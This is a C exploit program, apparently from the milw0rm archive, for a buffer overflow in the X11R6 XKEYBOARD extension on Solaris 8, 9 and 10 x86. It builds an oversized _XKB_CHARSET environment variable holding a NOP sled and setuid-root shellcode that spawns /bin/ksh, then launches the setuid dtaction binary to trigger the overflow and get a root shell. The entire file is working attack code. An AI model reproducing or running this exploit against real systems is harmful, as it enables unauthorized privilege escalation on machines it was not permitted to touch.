92 lines
No EOL
3.6 KiB
C
92 lines
No EOL
3.6 KiB
C
/*
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* X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86
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* Copyright 2006 RISE Security <contact@risesecurity.org>,
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/*
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* X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86
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* Copyright 2006 RISE Security <contact@risesecurity.org>,
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* Ramon de Carvalho Valle <ramon@risesecurity.org>
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*
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* This program is free software; you can redistribute it and/or modify
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* it under the terms of the GNU General Public License as published by
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* the Free Software Foundation; either version 2 of the License, or
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* (at your option) any later version.
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*
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* This program is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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* GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License
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* along with this program; if not, write to the Free Software
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* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#define ADRSIZE 1024
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#define NOPSIZE 4096
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char shellcode[]= /* 47 bytes */
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"\x68\xff\xf8\xff\x3c" /* pushl $0x3cfff8ff */
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"\x6a\x65" /* pushl $0x65 */
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"\x89\xe6" /* movl %esp,%esi */
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"\xf7\x56\x04" /* notl 0x04(%esi) */
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"\xf6\x16" /* notb (%esi) */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\xb0\x17" /* movb $0x17,%al */
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"\xff\xd6" /* call *%esi */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\x68\x2f\x6b\x73\x68" /* pushl $0x68736b2f */
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"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
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"\x89\xe3" /* movl %esp,%ebx */
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"\x50" /* pushl %eax */
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"\x53" /* pushl %ebx */
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"\x89\xe1" /* movl %esp,%ecx */
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"\x50" /* pushl %eax */
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"\x51" /* pushl %ecx */
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"\x53" /* pushl %ebx */
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"\xb0\x3b" /* movb $0x3b,%al */
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"\xff\xd6" /* call *%esi */
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;
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int main(int argc,char **argv){
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char buf[8192],display[256],addr[4],*envp[4],*p;
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int i;
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printf("X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86\n");
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printf("Copyright 2006 RISE Security <contact@risesecurity.org>\n\n");
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if(argc!=2){
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fprintf(stderr,"usage: %s xserver:display\n",argv[0]);
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exit(EXIT_FAILURE);
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}
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snprintf(display,sizeof(display),"DISPLAY=%s",argv[1]);
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*((unsigned int *)addr)=(unsigned int)buf+256+1024+2048+1;
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p=buf;
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sprintf(p,"_XKB_CHARSET=");
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p=buf+13;
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for(i=0;i<256;i++) *p++='A';
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for(i=0;i<ADRSIZE;i++) *p++=addr[i%4];
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for(i=0;i<NOPSIZE;i++) *p++='\x90';
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for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
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*p='\0';
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envp[0]=buf;
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envp[1]=display;
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envp[2]=NULL;
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execle("/usr/dt/bin/dtaction","dtaction",0,envp);
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exit(EXIT_FAILURE);
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}
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// milw0rm.com [2006-09-08]
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